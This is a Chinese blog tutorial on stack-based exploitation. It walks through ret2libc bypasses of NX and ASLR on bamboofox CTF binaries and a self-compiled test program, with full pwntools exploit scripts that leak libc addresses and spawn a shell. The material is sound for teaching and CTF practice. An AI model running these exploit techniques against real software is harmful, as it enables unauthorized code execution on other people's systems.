郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!

前言

在上篇中介绍了一些常见保护,以及如何开关,还有如何生成shellcode等操作,就那么点东西我搞了一星期,真是菜吐了,心态崩了了

222

写在前面的几个笔记

CALL和RET指令解释

  • CALL指令调用某个子函数时,下一条指令的地址作为返回地址被保存到栈中。等价于PUSH返回地址与JMP函数地址的指令序列
  • RET指令跳转到CALL指令保存的返回地址,讲控制权交还给调用函数。等价于POP返回地址与JMP返回地址的指令序列

AMD64和i386的区别

由于后面的利用方式可能会用到64位的程序,所以在前面把两者几个点需要区别下

  • 首先是内存地址的范围由32位变成了64位。但是可以使用的内存地址不能大于0x00007fffffffffff,否则就会抛出异常。
  • 其次是函数参数的传递方式发生了改变,x86中参数都是保存在栈上,但在x64中的前六个参数依次保存在RDIRSIRDXRCXR8R9中,如果还有更多的参数的话才会保存在栈上。

函数调用栈

函数调用栈是一块连续的用来保存函数运行状态的内存区域,调用函数(caller)和被调用函数 (callee)根据调用关系堆叠起来,从内存的高地址向低地址增长。

一个典型的栈帧布局如下所示:

  1. 函数参数
  2. 函数返回地址
  3. 帧指针
  4. 错误处理帧
  5. 局部变量
  6. 栈缓冲区
  7. 被调函数保存的寄存器

栈帧的布局如下图所示:

img

样例

演示代码

int func(int arg1, int arg2, int arg3, int arg4, int arg5, int arg6, int arg7, int arg8)
{
int loc1 = arg1 + 1;
int loc8 = arg8 + 8;
return loc1 + loc8;
}
int main()
{
return func(11, 22, 33, 44, 55, 66, 77, 88);
}
// gcc -m32 stack.c -o stack32
// gcc stack.c -o stack64

栈的分布图

image-20210314150418220

x86

  • 被调用函数func()的8个参数从后向前依次入栈
  • 当执行call指令时,下一条指令的地址0x08048415 作为返回地址入栈。
  • 然后程序跳转到func(),在函数开头将调用函数的ebp压栈保存并更新为当前的栈顶地址esp作为新的栈基址,而esp则下移为局部变量开辟空间。
  • 函数返回时则相反,通过leave指令将esp恢复为当前的ebp,并从栈中将调用者的ebp弹出,最后ret指令弹出返回地址作为eip,程序回到main()函数中,最后抬高esp清理被调用者的参数
#X86中的栈
gef➤ disassemble main 0x080483fd <+0>: push ebp # 将栈底 ebp 压栈 (esp -= 4)
0x080483fe <+1>: mov ebp,esp # 更新 ebp 为当前栈顶 esp
0x08048400 <+3>: push 0x58 # 将 arg8 压栈 (esp -= 4)
0x08048402 <+5>: push 0x4d # 将 arg7 压栈 (esp -= 4)
0x08048404 <+7>: push 0x42 # 将 arg6 压栈 (esp -= 4)
0x08048406 <+9>: push 0x37 # 将 arg5 压栈 (esp -= 4)
0x08048408 <+11>:push 0x2c # 将 arg4 压栈 (esp -= 4)
0x0804840a <+13>:push 0x21 # 将 arg3 压栈 (esp -= 4)
0x0804840c <+15>:push 0x16 # 将 arg2 压栈 (esp -= 4)
0x0804840e <+17>:push 0xb # 将 arg1 压栈 (esp -= 4)
0x08048410 <+19>:call 0x80483db <func> # 调用 func (push 0x08048415)
0x08048415 <+24>:add esp,0x20 # 恢复栈顶 esp
0x08048418 <+27>:leave # (mov esp, ebp; pop ebp)
0x08048419 <+28>:ret # 函数返回 (pop eip)
gef➤ disassemble func 0x080483db <+0>: push ebp # 将栈底 ebp 压栈 (esp -= 4)
0x080483dc <+1>: mov ebp,esp # 更新 ebp 为当前栈顶 esp
0x080483de <+3>: sub esp,0x10 # 为局部变量开辟栈空间
0x080483e1 <+6>: mov eax,DWORD PTR [ebp+0x8] # 取出 arg1
0x080483e4 <+9>: add eax,0x1 # 计算 loc1
0x080483e7 <+12>:mov DWORD PTR [ebp-0x8],eax # loc1 放入栈
0x080483ea <+15>:mov eax,DWORD PTR [ebp+0x24] # 取出 arg8
0x080483ed <+18>:add eax,0x8 # 计算 loc8
0x080483f0 <+21>:mov DWORD PTR [ebp-0x4],eax # loc8 放入栈
0x080483f3 <+24>:mov edx,DWORD PTR [ebp-0x8]
0x080483f6 <+27>:mov eax,DWORD PTR [ebp-0x4]
0x080483f9 <+30>:add eax,edx # 计算返回值
0x080483fb <+32>:leave # (mov esp, ebp; pop ebp)
0x080483fc <+33>:ret # 函数返回 (pop eip)

x86-64

  • 前6 个参数分别通过rdi、rsi、rdx、rcx、r8和r9进行传递,剩余参数才像x86一样从后向前依次压栈。
  • func()并没有下移rsp开辟栈空间的操作,导致rbp和rsp的值是相同的

其实这是一项编译优化:根据AMD64 ABI文档的描述,rsp以下128字节的区域被称为red zone,这是一块被保留的内存,不会被信号或者中断所修改。

gef➤ disassemble main 
0x000000000040050a <+0>: push rbp # 将栈底 rbp 压栈 (rsp -= 8)
0x000000000040050b <+1>: mov rbp,rsp # 更新 rbp 为当前栈顶 rsp
0x000000000040050e <+4>: push 0x58 # 将 arg8 压栈 (rsp -= 8)
0x0000000000400510 <+6>: push 0x4d # 将 arg7 压栈 (rsp -= 8)
0x0000000000400512 <+8>: mov r9d,0x42 # 将 arg6 赋值给 r9
0x0000000000400518 <+14>: mov r8d,0x37 # 将 arg5 赋值给 r8
0x000000000040051e <+20>: mov ecx,0x2c # 将 arg4 赋值给 rcx
0x0000000000400523 <+25>: mov edx,0x21 # 将 arg3 赋值给 rdx
0x0000000000400528 <+30>: mov esi,0x16 # 将 arg2 赋值给 rsi
0x000000000040052d <+35>: mov edi,0xb # 将 arg1 赋值给 rdi
0x0000000000400532 <+40>: call 0x4004d6 <func> # 调用 func (push 0x400537)
0x0000000000400537 <+45>: add rsp,0x10 # 恢复栈顶 rsp
0x000000000040053b <+49>: leave # (mov rsp, rbp; pop rbp)
0x000000000040053c <+50>: ret # 函数返回 (pop rip)
gef➤ disassemble func
0x00000000004004d6 <+0>: push rbp # 将栈底 rbp 压栈 (rsp -= 8)
0x00000000004004d7 <+1>: mov rbp,rsp # 更新 rbp 为当前栈顶 rsp
0x00000000004004da <+4>: mov DWORD PTR [rbp-0x14],edi
0x00000000004004dd <+7>: mov DWORD PTR [rbp-0x18],esi
0x00000000004004e0 <+10>: mov DWORD PTR [rbp-0x1c],edx
0x00000000004004e3 <+13>: mov DWORD PTR [rbp-0x20],ecx
0x00000000004004e6 <+16>: mov DWORD PTR [rbp-0x24],r8d
0x00000000004004ea <+20>: mov DWORD PTR [rbp-0x28],r9d
0x00000000004004ee <+24>: mov eax,DWORD PTR [rbp-0x14]
0x00000000004004f1 <+27>: add eax,0x1
0x00000000004004f4 <+30>: mov DWORD PTR [rbp-0x8],eax
0x00000000004004f7 <+33>: mov eax,DWORD PTR [rbp+0x18]
0x00000000004004fa <+36>: add eax,0x8
0x00000000004004fd <+39>: mov DWORD PTR [rbp-0x4],eax
0x0000000000400500 <+42>: mov edx,DWORD PTR [rbp-0x8]
0x0000000000400503 <+45>: mov eax,DWORD PTR [rbp-0x4]
0x0000000000400506 <+48>: add eax,edx # 计算返回值
0x0000000000400508 <+50>: pop rbp # 恢复 rbp (rsp += 8)
0x0000000000400509 <+51>: ret # 函数返回 (pop rip)

绕过NX保护

Ret2libc

Bypass DEP 通过ret2libc绕过DEP防护,现在我们把DEP打开,依然关闭stack protector和ASLR。这时候我们按上篇无保护的思路来做题的话,系统会拒绝执行我们的shellcode。如果你通过sudo cat /proc/[pid]/maps查看,stack是rw的而不是rwx。

三道题分布对应下面三个小结


存在system()函数和/bin/sh字符串

以 bamboofox 中 ret2libc1 为例,首先,我们可以检查一下程序的安全保护

kali@kali:~/Desktop$ checksec ret2libc1
[*] '/home/kali/Desktop/ret2libc1'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

源程序为 32 位,开启了 NX 保护。下面来看一下程序源代码,确定漏洞位置

int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+1Ch] [ebp-64h]

setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 1, 0);
puts("RET2LIBC >_<");
gets(&s);
return 0;
}

可以看到在执行 gets 函数的时候出现了栈溢出,接着定位溢出值

gdb-peda$ pattern create 200
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA'
gdb-peda$ run
Starting program: /home/kali/Desktop/ret2libc1
RET2LIBC >_<
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x0
ECX: 0xf7fb0580 --> 0xfbad2288
EDX: 0xfbad2288
ESI: 0xf7fb0000 --> 0x1e4d6c
EDI: 0xf7fb0000 --> 0x1e4d6c
EBP: 0x6941414d ('MAAi')
ESP: 0xffffd220 ("ANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
EIP: 0x41384141 ('AA8A')
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41384141
[------------------------------------stack-------------------------------------]
0000| 0xffffd220 ("ANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0004| 0xffffd224 ("jAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0008| 0xffffd228 ("AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0012| 0xffffd22c ("AkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0016| 0xffffd230 ("PAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0020| 0xffffd234 ("AAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0024| 0xffffd238 ("AmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0028| 0xffffd23c ("RAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41384141 in ?? ()
gdb-peda$ pattern offset 0x41384141
1094205761 found at offset: 112

可以看到溢出的位置在112的地方

接着利用ropgadget,查看是否有/bin/sh存在

kali@kali:~/Desktop$ ROPgadget --binary ret2libc1 --string '/bin/sh'
Strings information
============================================================
0x08048720 : /bin/sh

并且在IDA中可以看到有system这个函数,如果没有开启ASRL的话再Windows上面看到的地址和你在Linux运行后的地址是相同的

image-20201120115231916

我们要的东西都齐了以后,接下来就是写EXP了,EXP中栈拼接对应上面的利用原理

#!/usr/bin/env python
from pwn import *

sh = process('../ret2libc1')
context(os='linux', arch='x86', log_level='debug')
binsh_addr = 0x08048720
system_plt = 0x08048460
payload = flat(['a' * 112, system_plt, 'b' * 4, binsh_addr])
sh.sendline(payload)

sh.interactive()

image-20201120115749503


只存在system()函数

以 bamboofox 中 ret2libc2为例,拿到文件依旧进行查看保护

ascotbe@ubuntu:~/Desktop/Pwn$ checksec ret2libc2
[*] '/home/ascotbe/Desktop/Pwn/ret2libc2'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

接着我们可以看到溢出函数依旧是上文中的那个并且system()的地址是0x08048490

image-20201120142854442

但是我们用ROPgadget并无找到/bin/sh位置

ascotbe@ubuntu:~/Desktop/Pwn$ ROPgadget --binary ret2libc2 --string '/bin/sh'
Strings information
============================================================

那我们怎么获取字符串呢?我们在PLT表中可以看到有一个gets()函数,这个函数可以用来获取字符串,并且地址为0x08048460

image-20201120144606722

反汇编查看一下该函数

image-20201120144720027

发现传入一个指针后即可返回指针指向的字符串,那么接着我们只需要找到一个可读可写的buffer区,通常会寻找.bss段,通过readelf命令来查找

ascotbe@ubuntu:~/Desktop/Pwn$ readelf -S ret2libc2
There are 35 section headers, starting at offset 0x1924:

Section Headers:
[Nr] Name Type Addr Off Size ES Flg Lk Inf Al
[ 0] NULL 00000000 000000 000000 00 0 0 0
[ 1] .interp PROGBITS 08048154 000154 000013 00 A 0 0 1
[ 2] .note.ABI-tag NOTE 08048168 000168 000020 00 A 0 0 4
[ 3] .note.gnu.build-i NOTE 08048188 000188 000024 00 A 0 0 4
[ 4] .gnu.hash GNU_HASH 080481ac 0001ac 00002c 04 A 5 0 4
[ 5] .dynsym DYNSYM 080481d8 0001d8 0000f0 10 A 6 1 4
[ 6] .dynstr STRTAB 080482c8 0002c8 000096 00 A 0 0 1
[ 7] .gnu.version VERSYM 0804835e 00035e 00001e 02 A 5 0 2
[ 8] .gnu.version_r VERNEED 0804837c 00037c 000030 00 A 6 1 4
[ 9] .rel.dyn REL 080483ac 0003ac 000018 08 A 5 0 4
[10] .rel.plt REL 080483c4 0003c4 000058 08 A 5 12 4
[11] .init PROGBITS 0804841c 00041c 000023 00 AX 0 0 4
[12] .plt PROGBITS 08048440 000440 0000c0 04 AX 0 0 16
[13] .text PROGBITS 08048500 000500 000242 00 AX 0 0 16
[14] .fini PROGBITS 08048744 000744 000014 00 AX 0 0 4
[15] .rodata PROGBITS 08048758 000758 000065 00 A 0 0 4
[16] .eh_frame_hdr PROGBITS 080487c0 0007c0 000034 00 A 0 0 4
[17] .eh_frame PROGBITS 080487f4 0007f4 0000d0 00 A 0 0 4
[18] .init_array INIT_ARRAY 08049f08 000f08 000004 00 WA 0 0 4
[19] .fini_array FINI_ARRAY 08049f0c 000f0c 000004 00 WA 0 0 4
[20] .jcr PROGBITS 08049f10 000f10 000004 00 WA 0 0 4
[21] .dynamic DYNAMIC 08049f14 000f14 0000e8 08 WA 6 0 4
[22] .got PROGBITS 08049ffc 000ffc 000004 04 WA 0 0 4
[23] .got.plt PROGBITS 0804a000 001000 000038 04 WA 0 0 4
[24] .data PROGBITS 0804a038 001038 000008 00 WA 0 0 4
[25] .bss NOBITS 0804a040 001040 0000a4 00 WA 0 0 32
[26] .comment PROGBITS 00000000 001040 00002b 01 MS 0 0 1
[27] .debug_aranges PROGBITS 00000000 00106b 000020 00 0 0 1
[28] .debug_info PROGBITS 00000000 00108b 000329 00 0 0 1
[29] .debug_abbrev PROGBITS 00000000 0013b4 0000f8 00 0 0 1
[30] .debug_line PROGBITS 00000000 0014ac 0000c2 00 0 0 1
[31] .debug_str PROGBITS 00000000 00156e 00026d 01 MS 0 0 1
[32] .shstrtab STRTAB 00000000 0017db 000146 00 0 0 1
[33] .symtab SYMTAB 00000000 001e9c 000540 10 34 50 4
[34] .strtab STRTAB 00000000 0023dc 000314 00 0 0 1

我们可以发现**.bss是从0x0804a040的位置开始的,然后按着这个段找到了0x0804A080**这个位置是个char数组

image-20201120182503721

接着可以看到**.bss**是能读写,由于程序在gdb中运行,就算关闭了ALSR也会和在gdb外运行不同。

kali@kali:~/Desktop/Pwn$ gdb -q ret2libc2
Reading symbols from ret2libc2...
gdb-peda$ run
Starting program: /home/kali/Desktop/Pwn/ret2libc2
Something surprise here, but I don't think it will work.
What do you think ?
[Inferior 1 (process 10047) exited normally]
Warning: not running
gdb-peda$ vmmap
Warning: not running
Start End Perm Name
0x0804841c 0x08048758 rx-p /home/kali/Desktop/Pwn/ret2libc2
0x08048154 0x080488c4 r--p /home/kali/Desktop/Pwn/ret2libc2
0x08049f08 0x0804a0e4 rw-p /home/kali/Desktop/Pwn/ret2libc2

接着寻找add esp, 4这样的指令,至于为什么呢因为我们调用gets()函数的时候push了一个参数也就是/bin/sh,函数结束的话如果不让堆栈平衡,那么最后结束整个函数的时候ebp的值回比原来低,具体低4个字节还是8个看进程的位数去。最后在这题结束会放个c程序调试的例子作为解释

ascotbe@ubuntu:~/Desktop/Pwn$ ROPgadget --binary ret2libc2 --only 'pop|ret'
Gadgets information
============================================================
0x0804872f : pop ebp ; ret
0x0804872c : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0804843d : pop ebx ; ret
0x0804872e : pop edi ; pop ebp ; ret
0x0804872d : pop esi ; pop edi ; pop ebp ; ret
0x08048426 : ret
0x0804857e : ret 0xeac1

Unique gadgets found: 7

万事具备我们就直接构造EXP即可

#!/usr/bin/env python
from pwn import *

sh = process("./ret2libc2")
context(os='linux', arch='x86', log_level='debug')

libc_gets_addr = 0x08048460
libc_system_addr = 0x08048490
buf2_addr = 0x0804A080
pop_ebx_addr = 0x0804843d
payload = flat(["A" * 0x70, libc_gets_addr, pop_ebx_addr, buf2_addr, libc_system_addr, '6666', buf2_addr])
sh.sendline(payload)
sh.sendline('/bin/sh')
sh.interactive()

#运行流程
PUSH 参数->PUSH 返回地址->JMP system函数地址->PUSH 参数(进入CALL调用栈中)->POP 参数(由于为了堆栈平衡之前PUSH了参数)->CALL gets函数
#伪C++代码类似下面
system(gets(*buf2))

image-20201120190619022


无system()函数和/bin/sh字符串

首先查看保护

ascotbe@ubuntu:~/Desktop/Pwn$ checksec ./ret2libc3
[*] '/home/ascotbe/Desktop/Pwn/ret2libc3'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

可以发现是加载libc.so动态链接库的

gdb-peda$ i sharedlibrary 
From To Syms Read Shared Object Library
0xf7fd2100 0xf7fef7f3 Yes (*) /lib/ld-linux.so.2
0xf7de81d0 0xf7f4171a Yes (*) /lib/i386-linux-gnu/libc.so.6
(*): Shared library is missing debugging information.

可以发现没有system()函数和/bin/sh字符串了

image-20201121103715703

由于他加载了libc.so,那么我们可以明确几点

  • 动态链接库中的函数之间相对偏移是固定的

  • A 真实地址 (内存物理地址) - A 偏移地址 = B 真实地址 (内存物理地址) -B 偏移地址 = 基地址

  • 如果我们知道libc.so中某个函数的地址,那么我们就可以确定该程序利用的libc.so。进而我们就可以知道system()函数的地址。通过puts()泄露某个已执行过的函数的GOT地址,并且返回地址设置为_start()或main(),以便于重新执行一遍程序;

简单地说,main()函数是用户代码的入口,是对用户而言的;而_start()函数是系统代码的入口,是程序真正的入口。

我们可以看下本题的_start()函数内容,其包含main()和__libc_start_main()函数的调用,也就是说,它才是程序真正的入口

img

那么我们就可以编写EXP了,这个EXP就算开启了ASLR的话都是狂野利用的,所以我们这边绕过了NX保护和ASLR

from pwn import *

sh = process('./ret2libc3')
elf = ELF('./ret2libc3')
libc = elf.libc
context(os='linux', arch='x86', log_level='debug')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
start_addr = elf.symbols['_start']
print ("[*]puts plt: " + hex(puts_plt))
print ("[*]puts got: " + hex(puts_got))
print ("[*]_start addr: " + hex(start_addr))
print( "--" * 20)
print ("[*]sending payload1 to leak libc...")

payload = flat(["A" * 112, puts_plt, start_addr, puts_got])#把puts_got地址放到栈中参数位置

sh.sendlineafter("Can you find it !?", payload)

puts_addr = u32(sh.recv(4))#获取到输出的值,里面带有我们放入的puts_got地址
print ("[*]leak puts addr: " + hex(puts_addr))

libc.address = puts_addr - libc.symbols['puts']#获取相对偏移
system_addr = libc.symbols['system']#
binsh_addr = next(libc.search(b'/bin/sh'))
print ("[*]leak libc addr: " + hex(libc.address))
print ("[*]system addr: " + hex(system_addr))
print ("[*]binsh addr: " + hex(binsh_addr))
print ("--" * 20)
print ("[*]sending payload2 to getshell...")

payload2 = flat(["B" * 112, system_addr, "CCCC", binsh_addr])
sh.sendline(payload2)
sh.interactive()

image-20201121164703334

绕过ASLR保护

测试代码

//test.c
#include <unistd.h>

void vuln_func() {
char buf[128];
read(STDIN_FILENO, buf, 256);
}

int main(int argc, char *argv[]) {
vuln_func();
write(STDOUT_FILENO, "Hello world!\n", 13);
}
//gcc -m32 -fno-stack-protector -z noexecstack -no-pie test.c -o test.out

首先检查题目的保护和是否开启了ASLR保护

ascotbe@ubuntu:~/Desktop/PWN$ ldd test.out 
linux-gate.so.1 => (0xf7f71000)
libc.so.6 => /lib32/libc.so.6 (0xf7da0000)
/lib/ld-linux.so.2 (0xf7f73000)
ascotbe@ubuntu:~/Desktop/PWN$ ldd test.out
linux-gate.so.1 => (0xf7fba000)
libc.so.6 => /lib32/libc.so.6 (0xf7de9000)
/lib/ld-linux.so.2 (0xf7fbc000)

运行的时候查看下加载了什么动态链接库

gdb-peda$  i sharedlibrary 
From To Syms Read Shared Object Library
0xf7fd9860 0xf7ff28dd Yes (*) /lib/ld-linux.so.2
0xf7e1d750 0xf7f4696d Yes (*) /lib32/libc.so.6

题目的思路:由于程序未开启PIE,导致程序本身的地址是固定的,我们可以通过write()函数进行信息泄露,打印出libc的地址,进而计算system()的地址

EXP就分为两个流程:

  • 通过payload在vuln_func中进行栈溢出,调用write@plt 打印出write@got,完成后又返回到vuln_func中
  • 通过再次溢出调用计算出相对地址的system函数获得shell

首先查看溢出位置

gdb-peda$  pattern create 200
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA'
gdb-peda$ run
Starting program: /home/ascotbe/Desktop/Pwn/test.out
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0xc9
EBX: 0x6c414150 ('PAAl')
ECX: 0xffffcd80 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA"...)
EDX: 0x100
ESI: 0xf7fb0000 --> 0x1ead6c
EDI: 0xf7fb0000 --> 0x1ead6c
EBP: 0x41514141 ('AAQA')
ESP: 0xffffce10 ("RAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n\316\377\377")
EIP: 0x41416d41 ('AmAA')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41416d41
[------------------------------------stack-------------------------------------]
0000| 0xffffce10 ("RAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n\316\377\377")
0004| 0xffffce14 ("AASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n\316\377\377")
0008| 0xffffce18 ("ApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n\316\377\377")
0012| 0xffffce1c ("TAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n\316\377\377")
0016| 0xffffce20 ("AAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n\316\377\377")
0020| 0xffffce24 ("ArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n\316\377\377")
0024| 0xffffce28 ("VAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n\316\377\377")
0028| 0xffffce2c ("AAWAAuAAXAAvAAYAAwAAZAAxAAyA\n\316\377\377")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41416d41 in ?? ()
gdb-peda$ pattern offset 0x41416d41
1094806849 found at offset: 140

编写EXP,运行环境Ubuntu 16.04 Python3.8 (Ubuntu20.04 Python3.8无法运行)

#!/usr/bin/env python3
#-*- coidng: utf-8 -*-
#test.py
from pwn import *

io = process('./test.out')
elf = ELF('./test.out')
libc = ELF('/lib32/libc.so.6')
context(os='linux', arch='x86', log_level='debug')
write_plt=elf.symbols['write']#elf.plt['write']
write_got=elf.got['write']
vuln_func_addr = elf.symbols['vuln_func']
print ("[*]write plt: " + hex(write_plt))
print ("[*]write got: " + hex(write_got))
print ("[*]vuln func addr: " + hex(vuln_func_addr))
print( "--" * 20)
print ("[*]sending payload1 to leak libc...")

payload1 = ("A" * 140).encode()+ p32(write_plt)+p32(vuln_func_addr)+p32(1 )+p32(write_got)+p32(4)
#"A" * 140是溢出需要的字节
#write(1,address,4)表示将address向外写
print(payload1)
io.send(payload1)

write_addr = u32(io.recv(4))
print ("[*]leak write addr: " + hex(write_addr))
libc_addr=write_addr - libc.symbols['write']#获取相对偏移
print ("[*]leak libc addr: " + hex(libc_addr))
system_addr = libc_addr + libc.symbols['system']
binsh_addr = libc_addr + next(libc.search(b'/bin/sh'))

payload2 = ("B" * 140).encode() + p32(system_addr) + p32(vuln_func_addr) + p32(binsh_addr)

io.send(payload2)
io.interactive()

image-20210325200443317

参考文章

https://www.jianshu.com/p/c90530c910b0
https://www.mi1k7ea.com/2019/03/05/%E6%A0%88%E6%BA%A2%E5%87%BA%E4%B9%8Bret2libc
《ctf竞赛权威指南(PWN篇)》